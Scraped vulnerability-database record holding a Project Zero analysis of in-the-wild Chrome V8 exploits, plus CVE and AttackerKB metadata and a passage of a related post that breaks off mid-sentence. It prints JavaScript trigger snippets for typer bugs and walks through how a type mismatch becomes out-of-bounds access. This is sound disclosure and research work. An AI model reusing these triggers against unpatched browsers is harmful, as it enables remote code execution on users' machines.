Math.max(index, 0);\n\nreturn array[index] = 2.2;\n\n}\n\nfor (let i = 0; i < 20000; i++) {\n\ntrigger(1,2,3);\n\n}\n\nprint(trigger.apply(null, new Array(65534 + oob_index))); \n \n--- \n \nQixun Zhao used the same vulnerability in Tianfu Cup and [reported it to Chrome](<https://bugs.chromium.org/p/chromium/issues/detail?id=906043>) in November 2018. The public report includes a renderer exploit. [The fix](<https://chromium.googlesource.com/v8/v8/+/8e4588915ba7a9d9d744075781cea114d49f0c7b>), which landed in Chrome 72, simply relaxed the range of the length property.\n\n#### The exploit\n\nThe discovered exploit targets Chrome 63-67. The exploit flow is a bit unconventional as it doesn\u2019t rely on typed arrays to gain arbitrary read/write. The attacker makes use of the fact that V8 allocates objects in the new space linearly to precompute inter-object offsets. The vulnerability is only triggered once to corrupt the length property of a tagged pointer array. The corrupted array can then be used repeatedly to overwrite the elements field of an unboxed double array with an arbitrary JS object, which gives the attacker raw access to the contents of that object. It\u2019s worth noting that this approach doesn\u2019t even require performing manual pointer arithmetic. As usual, the exploit finishes by overwriting the code of a JS function with the payload.\n\nInterestingly, this is the only exploit that doesn\u2019t take advantage of running inside a web worker even though the vulnerability is fully compatible. Also, the amount of error checking is significantly smaller than in the previous exploits. The author probably assumed that the exploitation primitive provided by the issue was so reliable that all additional safety measures became unnecessary. Nevertheless, during our testing, we did occasionally encounter crashes when one of the allocations that the exploit makes managed to trigger garbage collection. That said, such crashes were indeed quite rare.\n\nAs the reader may have noticed, the exploit had stopped working long before the issue was fixed. The reason is that [one of the hardening patches](<https://chromium.googlesource.com/v8/v8.git/+/f53dfd934df0c95e1a82680ce87f48b5d60902d1%5E%21/>) against speculative side-channel attacks in V8 broke the bounds check elimination technique used by the exploit. The protection was soon turned off for desktop platforms and replaced with [site isolation](<https://www.chromium.org/Home/chromium-security/site-isolation>); hence, [the public exploit](<https://bugs.chromium.org/p/chromium/issues/detail?id=906043>), which employs the same technique, was successfully used against Chrome 70 on Windows during the competition.\n\nThe public and private exploits have little in common apart from the bug itself and BCE technique, which has been commonly known [since at least 2017](<https://bugs.chromium.org/p/chromium/issues/detail?id=762874>). The public exploit turns out-of-bounds access into a type confusion and then follows the older approach, which involves crafting a fake array buffer object, to achieve code execution.\n\n### 4\\. CVE-2019-13764\n\nThis more complex typer issue occurs when TurboFan doesn\u2019t reflect the possible NaN value in the type of an induction variable. The bug can be triggered by the following code:\n\nfor (var i = -Infinity; i < 0; i += Infinity) { [...] } \n \n--- \n \nThis vulnerability and exploit for Chrome 73-79 have been discussed in detail in [the previous blog post](<https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html>). There\u2019s also an earlier version of the exploit targeting Chrome 69-72; the only difference is that the newer version switched from a JS JIT function to a WASM function as the overwrite target.\n\nThe comparison with the exploit for the previous typer issue (CVE-2019-5782) is more interesting, though. The developer put much greater emphasis on stability of the new exploit even though the two vulnerabilities are identical in this regard. The web worker wrapper is back, and the exploit doesn\u2019t corrupt tagged element arrays to avoid GC crashes. Also, it no longer relies completely on precomputed offsets between objects in the new space. For example, to leak a pointer to a JS object the attacker puts it between marker values and then scans the memory for the matching pattern. Finally, the number of sanity checks is increased again.\n\nIt\u2019s also worth noting that the new typer bug exploitation technique worked against Chrome on Android despite the side-channel attack mitigation and could have \u201crevived\u201d the exploit for CVE-2019-5782.\n\n### Conclusion\n\nThe timeline data and incremental changes between different exploit versions suggest that at least three out of the four vulnerabilities (CVE-2020-6418, CVE-2019-5782 and CVE-2019-13764) have been used as 0-days.\n\nIt is no secret that exploit reliability is a priority for high-tier attackers, but our findings demonstrate the amount of resources the attackers are willing to spend on making their exploits extra reliable, especially the evidence that the actor has switched from an already high-quality 0-day to a slightly better vulnerability twice.\n\nThe area of JIT engine security has received great attention from the wider security community over the last few years. In 2015, when Chrome 37 came out, the exploit for CVE-2017-5070 would be considered quite ahead of its time. In contrast, if we don\u2019t take into account the stability aspect, the exploit for the latest typer issue is not very different from exploits that enthusiasts made for JavaScript challenges at CTF competitions in 2019. This attention also likely affects the average lifetime of a JIT vulnerability and, therefore, may force attackers to move to different bug classes in the future.\n\nThis is part 3 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To continue reading, see [In The Wild Part 4: Android Exploits](<https://googleprojectzero.blogspot.com/2021/01/in-wild-series-android-exploits.html>).\n", "published": "2021-01-12T00:00:00", "modified": "2021-01-12T00:00:00", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "href": "https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-exploits.html", "reporter": "GoogleProjectZero", "references": [], "cvelist": ["CVE-2017-5070", "CVE-2019-13764", "CVE-2019-5782", "CVE-2020-6418"], "lastseen": "2021-01-13T07:23:58", "viewCount": 110, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2019-5782", "CVE-2019-13764", "CVE-2020-6418", "CVE-2017-5070"]}, {"type": "attackerkb", "idList": ["AKB:F1FF517B-6FF7-4972-9CA6-6F009CD86E66"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:7B21B608699A0775A3608934DB89577B", "GOOGLEPROJECTZERO:3397E6EF67D4C71C395ED0244548698A", "GOOGLEPROJECTZERO:0519E4321416167A439C0603E926B98E", "GOOGLEPROJECTZERO:A596034F451F58030932B2FC46FB6F38"]}, {"type": "exploitdb", "idList": ["EDB-ID:48186"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:156632"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/MULTI/BROWSER/CHROME_JSCREATE_SIDEEFFECT"]}, {"type": "zdt", "idList": ["1337DAY-ID-34056"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310816584", "OPENVAS:1361412562310816586", "OPENVAS:1361412562310816585", "OPENVAS:1361412562310811082", "OPENVAS:1361412562310811080", "OPENVAS:1361412562310851564", "OPENVAS:1361412562310853048", "OPENVAS:1361412562310872882", "OPENVAS:1361412562310811081", "OPENVAS:1361412562310873085"]}, {"type": "nessus", "idList": ["REDHAT-RHSA-2017-1399.NASL", "MACOSX_GOOGLE_CHROME_80_0_3987_122.NASL", "FEDORA_2017-1E34DA27F3.NASL", "GOOGLE_CHROME_80_0_3987_122.NASL", "REDHAT-RHSA-2020-0738.NASL", "FEDORA_2017-B8D76BEF4E.NASL", "MICROSOFT_EDGE_CHROMIUM_80_0_361_62.NASL", "FEDORA_2017-A7A488D8D0.NASL", "OPENSUSE-2017-661.NASL", "OPENSUSE-2020-259.NASL"]}, {"type": "archlinux", "idList": ["ASA-202002-11", "ASA-201902-3", "ASA-201707-4", "ASA-201706-8"]}, {"type": "kaspersky", "idList": ["KLA11678", "KLA11035", "KLA11722"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2019:0216-1", "OPENSUSE-SU-2019:2694-1", "OPENSUSE-SU-2020:0245-1", "OPENSUSE-SU-2019:0205-1", "OPENSUSE-SU-2020:0259-1", "OPENSUSE-SU-2019:0206-1", "OPENSUSE-SU-2019:0204-1", "OPENSUSE-SU-2017:1502-1", "OPENSUSE-SU-2017:1501-1", "OPENSUSE-SU-2019:2692-1"]}, {"type": "thn", "idList": ["THN:DC209DD441842FCD2682680F22D67854", "THN:0779D6845791AA6EB3C4ABB49D44DCC1"]}, {"type": "threatpost", "idList": ["THREATPOST:6F7E512F15913694CF17A906715FE678", "THREATPOST:04ACAD235492D0B01F4F6E92CADC43FF", "THREATPOST:88098D30DA04E912B06C03B52556385C", "THREATPOST:0CFA20DA4CAE2D0F32CD16D0779CC426", "THREATPOST:DF87733B74489628AB9F2C89704380A9"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:65D9653A8189263EAD9C1C00AA7E205A"]}, {"type": "redhat", "idList": ["RHSA-2020:0738", "RHSA-2017:1399", "RHSA-2019:4238", "RHSA-2019:0309"]}, {"type": "fedora", "idList": ["FEDORA:934A8603EB6C", "FEDORA:81D4A60CDC47", "FEDORA:6C6FD60799FF", "FEDORA:58B936057122", "FEDORA:9B26C601E80E", "FEDORA:58B4460D22EC"]}, {"type": "securelist", "idList": ["SECURELIST:D0FFA6E46D43B7A592C34676F2EF3EDB"]}, {"type": "freebsd", "idList": ["52F4B48B-4AC3-11E7-99AA-E8E0B747A45A"]}, {"type": "gentoo", "idList": ["GLSA-201706-20"]}, {"type": "debian", "idList": ["DEBIAN:DSA-4395-1:E48C1"]}], "modified": "2021-01-13T07:23:58", "rev": 2}, "score": {"value": 7.2, "vector": "NONE", "modified": "2021-01-13T07:23:58", "rev": 2}, "vulnersScore": 7.2}}
{"cve": [{"lastseen": "2021-02-02T07:12:50", "description": "Type confusion in JavaScript in Google Chrome prior to 79.0.3945.79 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "edition": 18, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-12-10T22:15:00", "title": "CVE-2019-13764", "type": "cve", "cwe": ["CWE-843"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-13764"], "modified": "2019-12-16T12:15:00", "cpe": [], "id": "CVE-2019-13764", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-13764", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": []}, {"lastseen": "2021-02-02T06:36:46", "description": "Type confusion in V8 in Google Chrome prior to 59.0.3071.86 for Linux, Windows, and Mac, and 59.0.3071.92 for Android, allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.", "edition": 14, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-10-27T05:29:00", "title": "CVE-2017-5070", "type": "cve", "cwe": ["CWE-704"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5070"], "modified": "2018-01-05T02:31:00", "cpe": [], "id": "CVE-2017-5070", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-5070", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": []}, {"lastseen": "2021-02-02T07:37:11", "description": "Type confusion in V8 in Google Chrome prior to 80.0.3987.122 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "edition": 15, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "baseScore": 6.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 3.6}, "published": "2020-02-27T23:15:00", "title": "CVE-2020-6418", "type": "cve", "cwe": ["CWE-843"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-6418"], "modified": "2020-03-05T17:15:00", "cpe": [], "id": "CVE-2020-6418", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-6418", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, "cpe23": []}, {"lastseen": "2021-02-02T07:13:02", "description": "Incorrect optimization assumptions in V8 in Google Chrome prior to 72.0.3626.81 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.", "edition": 15, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.0"}, "impactScore": 5.9}, "published": "2019-02-19T17:29:00", "title": "CVE-2019-5782", "type": "cve", "cwe": ["CWE-20"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-5782"], "modified": "2019-04-17T14:20:00", "cpe": ["cpe:/o:fedoraproject:fedora:29", "cpe:/o:fedoraproject:fedora:30", "cpe:/o:redhat:enterprise_linux_desktop:6.0", "cpe:/o:redhat:enterprise_linux_workstation:6.0", "cpe:/o:redhat:enterprise_linux_server:6.0", "cpe:/o:debian:debian_linux:9.0"], "id": "CVE-2019-5782", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-5782", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:29:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server:6.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_desktop:6.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_workstation:6.0:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:30:*:*:*:*:*:*:*"]}], "attackerkb": [{"lastseen": "2020-11-22T06:11:38", "bulletinFamily": "info", "cvelist": ["CVE-2020-6418"], "description": "Type confusion in V8 in Google Chrome prior to 80.0.3987.122 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n\n \n**Recent assessments:** \n \n**J3rryBl4nks** at March 04, 2020 4:42pm UTC reported:\n\nYou would have to chain this vulnerability with a working sandbox escape in order to get full value. While there are no doubt working sandbox escapes, this is only one piece of the exploit chain that is necessary to get a reliable foothold on a machine.\n\nOften times there are full chain exploits published which include the code exec, sandbox escape, and a valid privesc but I have been unable to find a full chain for this exploit.\n\nFor the average attacker, this hill would be too high to climb to make this useful.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 1**tekwizz123** at March 09, 2020 2:14am UTC reported:\n\nYou would have to chain this vulnerability with a working sandbox escape in order to get full value. While there are no doubt working sandbox escapes, this is only one piece of the exploit chain that is necessary to get a reliable foothold on a machine.\n\nOften times there are full chain exploits published which include the code exec, sandbox escape, and a valid privesc but I have been unable to find a full chain for this exploit.\n\nFor the average attacker, this hill would be too high to climb to make this useful.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 3**kevthehermit** at March 04, 2020 4:01pm UTC reported:\n\nYou would have to chain this vulnerability with a working sandbox escape in order to get full value. While there are no doubt working sandbox escapes, this is only one piece of the exploit chain that is necessary to get a reliable foothold on a machine.\n\nOften times there are full chain exploits published which include the code exec, sandbox escape, and a valid privesc but I have been unable to find a full chain for this exploit.\n\nFor the average attacker, this hill would be too high to climb to make this useful.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 1**gwillcox-r7** at November 22, 2020 2:19am UTC reported:\n\nYou would have to chain this vulnerability with a working sandbox escape in order to get full value. While there are no doubt working sandbox escapes, this is only one piece of the exploit chain that is necessary to get a reliable foothold on a machine.\n\nOften times there are full chain exploits published which include the code exec, sandbox escape, and a valid privesc but I have been unable to find a full chain for this exploit.\n\nFor the average attacker, this hill would be too high to climb to make this useful.\n", "modified": "2020-07-30T00:00:00", "published": "2020-02-27T00:00:00", "id": "AKB:F1FF517B-6FF7-4972-9CA6-6F009CD86E66", "href": "https://attackerkb.com/topics/lMn6eEE22f/cve-2020-6418", "type": "attackerkb", "title": "CVE-2020-6418", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}}], "googleprojectzero": [{"lastseen": "2021-01-13T07:24:00", "bulletinFamily": "info", "cvelist": ["CVE-2019-13764"], "description": "This is part 2 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To read the other parts of the series, see the [introduction post](<https://googleprojectzero.blogspot.com/2021/01/introducing-in-wild-series.html>).\n\nPosted by Sergei Glazunov, Project Zero\n\nThis post only covers one of the exploits, specifically a renderer exploit targeting Chrome 73-78 on Android. We use it as an opportunity to talk about an interesting vulnerability class in Chrome\u2019s JavaScript engine.\n\n### Brief introduction to typer bugs\n\nOne of the features that make JavaScript code especially difficult to optimize is the dynamic type system. Even for a trivial expression like a + b the engine has to support a multitude of cases depending on whether the parameters are numbers, strings, booleans, objects, etc. JIT compilation wouldn\u2019t make much sense if the compiler always had to emit machine code that could handle every possible type combination for every JS operation. Chrome\u2019s JavaScript engine, V8, tries to overcome this limitation through type speculation. During the first several invocations of a JavaScript function, the interpreter records the type information for various operations such as parameter accesses and property loads. If the function is later selected to be JIT compiled, TurboFan, which is V8\u2019s newest compiler, makes an assumption that the observed types will be used in all subsequent calls, and propagates the type information throughout the whole function graph using the set of rules derived from the language specification. For example: if at least one of the operands to the addition operator is a string, the output is guaranteed to be a string as well; Math.random() always returns a number; and so on. The compiler also puts runtime checks for the speculated types that trigger deoptimization (i.e., revert to execution in the interpreter and update the type feedback) in case one of the assumptions no longer holds.\n\nFor integers, V8 goes even further and tracks the possible range of nodes. The main reason behind that is that even though the ECMAScript specification defines Number as the 64-bit floating point type, internally, TurboFan always tries to use the most efficient representation possible in a given context, which could be a 64-bit integer, 31-bit tagged integer, etc. Range information is also employed in other optimizations. For example, the compiler is smart enough to figure out that in the following code snippet, the branch can never be taken and therefore eliminate the whole if statement:\n\na = Math.min(a, 1);\n\nif (a > 2) {\n\nreturn 3;\n\n} \n \n--- \n \nNow, imagine there\u2019s an issue that makes TurboFan believe that the function vuln() returns a value in the range [0; 2] whereas its actual range is [0; 4]. Consider the code below:\n\na = vuln(a);\n\nlet array = [1, 2, 3];\n\nreturn array[a]; \n \n--- \n \nIf the engine has never encountered an out-of-bounds access attempt while running the code in the interpreter, it will instruct the compiler to transform the last line into a sequence that at a certain optimization phase, can be expressed by the following pseudocode:\n\nif (a >= array.length) {\n\ndeoptimize();\n\n}\n\nlet elements = array.[[elements]];\n\nreturn elements.get(a); \n \n--- \n \nget() acts as a C-style element access operation and performs no bounds checks. In subsequent optimization phases the compiler will discover that, according to the available type information, the length check is redundant and eliminate it completely. Consequently, the generated code will be able to access out-of-bounds data.\n\nThe bug class outlined above is the main subject of this blog post; and bounds check elimination is the most popular exploitation technique for this class. A textbook example of such a vulnerability is [the off-by-one issue in the typer rule for String.indexOf](<https://bugs.chromium.org/p/chromium/issues/detail?id=762874>) found by Stephen R\u00f6ttger.\n\nA typer vulnerability doesn\u2019t have to immediately result in an integer range miscalculation that would lead to OOB access because it\u2019s possible to make the compiler propagate the error. For example, if vuln() returns an unexpected boolean value, we can easily transform it into an unexpected integer:\n\na = vuln(a); // predicted = false; actual = true\n\na = a * 10; // predicted = 0; actual = 10\n\nlet array = [1, 2, 3];\n\nreturn array[a]; \n \n--- \n \nAnother [notable bug report](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1710>) by Stephen demonstrates that even a subtle mistake such as omitting negative zero can be exploited in the same fashion.\n\nAt a certain point, this vulnerability class became extremely popular as it immediately provided an attacker with an enormously powerful and reliable exploitation primitive. Fellow Project Zero member Mark Brand has used it in his [full-chain Chrome exploit](<https://googleprojectzero.blogspot.com/2019/04/virtually-unlimited-memory-escaping.html>). The bug class has made an appearance at several [CTFs](<https://www.jaybosamiya.com/blog/2019/01/02/krautflare/>) and [exploit competitions](<https://bugs.chromium.org/p/chromium/issues/detail?id=906043>). As a result, last year the V8 team issued [a hardening patch](<https://bugs.chromium.org/p/v8/issues/detail?id=8806>) designed to prevent attackers from abusing bounds check elimination. Instead of removing the checks, the compiler started marking them as \u201caborting\u201d, so in the worst case the attacker can only trigger a SIGTRAP.\n\n### Induction variable analysis\n\nThe renderer exploit we\u2019ve discovered takes advantage of an issue in a function designed to compute the type of [induction variables](<https://en.wikipedia.org/wiki/Induction_variable>). The slightly abridged source code below is taken from the [latest affected revision](<https://chromium.googlesource.com/v8/v8.git/+/0da7ca8781c6c7ec852bef845b72ca7f212cdc23/src/compiler/typer.cc>) of V8:\n\nType Typer::Visitor::TypeInductionVariablePhi(Node* node) {\n\n[...]\n\n// We only handle integer induction variables (otherwise ranges\n\n// do not apply and we cannot do anything).\n\nif (!initial_type.Is(typer_->cache_->kInteger) ||\n\n!increment_type.Is(typer_->cache_->kInteger)) {\n\n// Fallback to normal phi typing, but ensure monotonicity.\n\n// (Unfortunately, without baking in the previous type,\n\n// monotonicity might be violated because we might not yet have\n\n// retyped the incrementing operation even though the increment's\n\n// type might been already reflected in the induction variable\n\n// phi.)\n\nType type = NodeProperties::IsTyped(node)\n\n? NodeProperties::GetType(node)\n\n: Type::None();\n\nfor (int i = 0; i < arity; ++i) {\n\ntype = Type::Union(type, Operand(node, i), zone());\n\n}\n\nreturn type;\n\n}\n\n// If we do not have enough type information for the initial value\n\n// or the increment, just return the initial value's type.\n\nif (initial_type.IsNone() ||\n\nincrement_type.Is(typer_->cache_->kSingletonZero)) {\n\nreturn initial_type;\n\n}\n\n[...]\n\nInductionVariable::ArithmeticType arithmetic_type =\n\ninduction_var->Type();\n\ndouble min = -V8_INFINITY;\n\ndouble max = V8_INFINITY;\n\ndouble increment_min;\n\ndouble increment_max;\n\nif (arithmetic_type ==\n\nInductionVariable::ArithmeticType::kAddition) {\n\nincrement_min = increment_type.Min();\n\nincrement_max = increment_type.Max();\n\n} else {\n\nDCHECK_EQ(InductionVariable::ArithmeticType::kSubtraction,\n\narithmetic_type);\n\nincrement_min = -increment_type.Max();\n\nincrement_max = -increment_type.Min();\n\n}\n\nif (increment_min >= 0) {\n\n// increasing sequence\n\nmin = initial_type.Min();\n\nfor (auto bound : induction_var->upper_bounds()) {\n\nType bound_type = TypeOrNone(bound.bound);\n\n// If the type is not an integer, just skip the bound.\n\nif (!bound_type.Is(typer_->cache_->kInteger)) continue;\n\n// If the type is not inhabited, then we can take the initial\n\n// value.\n\nif (bound_type.IsNone()) {\n\nmax = initial_type.Max();\n\nbreak;\n\n}\n\ndouble bound_max = bound_type.Max();\n\nif (bound.kind == InductionVariable::kStrict) {\n\nbound_max -= 1;\n\n}\n\nmax = std::min(max, bound_max + increment_max);\n\n}\n\n// The upper bound must be at least the initial value's upper\n\n// bound.\n\nmax = std::max(max, initial_type.Max());\n\n} else if (increment_max <= 0) {\n\n// decreasing sequence\n\n[...]\n\n} else {\n\n// Shortcut: If the increment can be both positive and negative,\n\n// the variable can go arbitrarily far, so just return integer.\n\nreturn typer_->cache_->kInteger;\n\n}\n\n[...]\n\nreturn Type::Range(min, max, typer_->zone());\n\n} \n \n--- \n \nNow, imagine the compiler processing the following JavaScript code:\n\nfor (var i = initial; i < bound; i += increment) { [...] } \n \n--- \n \nIn short, when the loop has been identified as increasing, the lower bound of initial becomes the lower bound of i, and the upper bound is calculated as the sum of the upper bounds of bound and increment. There\u2019s a similar branch for decreasing loops, and a special case for variables that can be both increasing and decreasing. The loop variable is named phi in the method because TurboFan operates on an intermediate representation in the [static single assignment](<https://en.wikipedia.org/wiki/Static_single_assignment_form>) form.\n\nNote that the algorithm only works with integers, otherwise a more conservative estimation method is applied. However, in this context an integer refers to a rather special type, which isn\u2019t bound to any machine integer type and can be represented as a floating point value in memory. The type holds two unusual properties that have made the vulnerability possible:\n\n * +Infinity and -Infinity belong to it, whereas NaN and -0 don\u2019t.\n * The type is not closed under addition, i.e., adding two integers doesn\u2019t always result in an integer. Namely, +Infinity + -Infinity yields NaN.\n\nThus, for the following loop the algorithm infers (-Infinity; +Infinity) as the induction variable type, while the actual value after the first iteration of the loop will be NaN:\n\nfor (var i = -Infinity; i < 0; i += Infinity) { } \n \n--- \n \nThis one line is enough to trigger the issue. The exploit author has had to make only two minor changes: (1) parametrize increment in order to make the value of i match the future inferred type during initial invocations in the interpreter and (2) introduce an extra variable to ensure the loop eventually ends. As a result, after deobfuscation, the relevant part of the trigger function looks as follows:\n\nfunction trigger(argument) {\n\nvar j = 0;\n\nvar increment = 100;\n\nif (argument > 2) {\n\nincrement = Infinity;\n\n}\n\nfor (var i = -Infinity; i <= -Infinity; i += increment) {\n\nj++;\n\nif (j == 20) {\n\nbreak;\n\n}\n\n}\n\n[...] \n \n--- \n \nThe resulting type mismatch, however, doesn\u2019t immediately let the attacker run arbitrary code. Given that the previously widely used bounds check elimination technique is no longer applicable, we were particularly interested to learn how the attacker approached exploiting the issue. \n\n### Exploitation\n\nThe trigger function continues with a series of operations aimed at transforming the type mismatch into an integer range miscalculation, similarly to what would follow in the previous technique, but with the additional requirement that the computed range must be narrowed down to a single number. Since the discovered exploit targets mobile devices, the exact instruction sequence used in the exploit only works for ARM processors. For the ease of the reader, we've modified it to be compatible with x64 as well.\n\n[...]\n\n// The comments display the current value of the variable i, the type\n\n// inferred by the compiler, and the machine type used to store\n\n// the value at each step.\n\n// Initially:\n\n// actual = NaN, inferred = (-Infinity, +Infinity)\n\n// representation = double\n\ni = Math.max(i, 0x100000800);\n\n// After step one:\n\n// actual = NaN, inferred = [0x100000800; +Infinity)\n\n// representation = double\n\ni = Math.min(0x100000801, i);\n\n// After step two:\n\n// actual = -0x8000000000000000, inferred = [0x100000800, 0x100000801]\n\n// representation = int64_t\n\ni -= 0x1000007fa;\n\n// After step three:\n\n// actual = -2042, inferred = [6, 7]\n\n// representation = int32_t\n\ni >>= 1;\n\n// After step four:\n\n// actual = -1021, inferred = 3\n\n// representation = int32_t\n\ni += 10;\n\n// After step five:\n\n// actual = -1011, inferred = 13\n\n// representation = int32_t\n\n[...] \n \n--- \n \nThe first notable transformation occurs in step two. TurboFan decides that the most appropriate representation for i at this point is a 64-bit integer as the inferred range is entirely within int64_t, and emits the CVTTSD2SI instruction to convert the double argument. Since NaN doesn\u2019t fit in the integer range, the instruction returns the [\u201cindefinite integer value\u201d](<https://www.felixcloutier.com/x86/cvttss2si>) -0x8000000000000000. In the next step, the compiler determines it can use the even narrower int32_t type. It discards the higher 32-bit word of i, assuming that for the values in the given range it has the same effect as subtracting 0x100000000, and then further subtracts 0x7fa. The remaining two operations are straightforward; however, one might wonder why the attacker couldn\u2019t make the compiler derive the required single-value type directly in step two. The answer lies in the optimization pass called the constant-folding reducer.\n\nReduction ConstantFoldingReducer::Reduce(Node* node) {\n\nDisallowHeapAccess no_heap_access;\n\nif (!NodeProperties::IsConstant(node) && NodeProperties::IsTyped(node) &&\n\nnode->op()->HasProperty(Operator::kEliminatable) &&\n\nnode->opcode() != IrOpcode::kFinishRegion) {\n\nNode* constant = TryGetConstant(jsgraph(), node);\n\nif (constant != nullptr) {\n\nReplaceWithValue(node, constant);\n\nreturn Replace(constant);\n\n[...] \n \n--- \n \nIf the reducer discovered that the output type of the NumberMin operator was a constant, it would replace the node with a reference to the constant thus eliminating the type mismatch. That doesn\u2019t apply to the SpeculativeNumberShiftRight and SpeculativeSafeIntegerAdd nodes, which represent the operations in steps four and five while the reducer is running, because they both are capable of triggering deoptimization and therefore not marked as eliminable.\n\nFormerly, the next step would be to abuse this mismatch to optimize away an array bounds check. Instead, the 